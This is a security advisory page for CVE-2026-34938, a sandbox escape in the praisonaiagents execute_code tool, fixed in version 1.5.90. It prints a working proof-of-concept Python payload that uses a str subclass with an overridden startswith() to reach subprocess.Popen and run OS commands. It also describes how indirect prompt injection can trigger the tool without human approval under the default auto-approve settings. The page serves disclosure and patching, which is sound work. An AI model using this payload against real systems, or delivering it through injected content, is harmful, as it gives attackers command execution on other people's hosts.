PRAISONAIAGENTS · CVE-2026-34938 · AI agents & MCP
FIX → 1.5.90
PraisonAI's execute_code tool runs Python in a sandbox that can be bypassed with a crafted str subclass that overrides startswith(), reaching subprocess.Popen. An attacker who can supply code to the tool, including through indirect prompt injection, gets arbitrary OS command execution as the process user.
first public Mar 31, 2026 · 2 sources
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Teams running the praisonaiagents Python package with its execute_code tool exposed to untrusted input, such as user prompts or content an agent reads. The advisory says deployments using bot.py, autonomy_mode.py or bots_cli.py default to auto-approval, so no human confirms the tool call. Projects that do not install praisonaiagents or never call execute_code are not affected.
Not affected if execute-code-unused, version-1.5.90-or-later
Who cares ai-agents, praisonai, pypi, python
praisonaiagents with pip show praisonaiagents; affected versions are 1.5.89 and below.execute_code from praisonaiagents.tools.python_tools in your code or agent pipelines.execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses
AttributeError(...)
FakeStr = (, (,), {: , *a: })
r = Popen([], stdout=PIPE, stderr=PIPE)
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
PRAISONAI_AUTO_APPROVE is set to true, which the advisory says is the default for bot.py, autonomy_mode.py and bots_cli.py.Upgrade to 1.5.90
praisonaiagents (pypi): move to 1.5.90 or later.
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.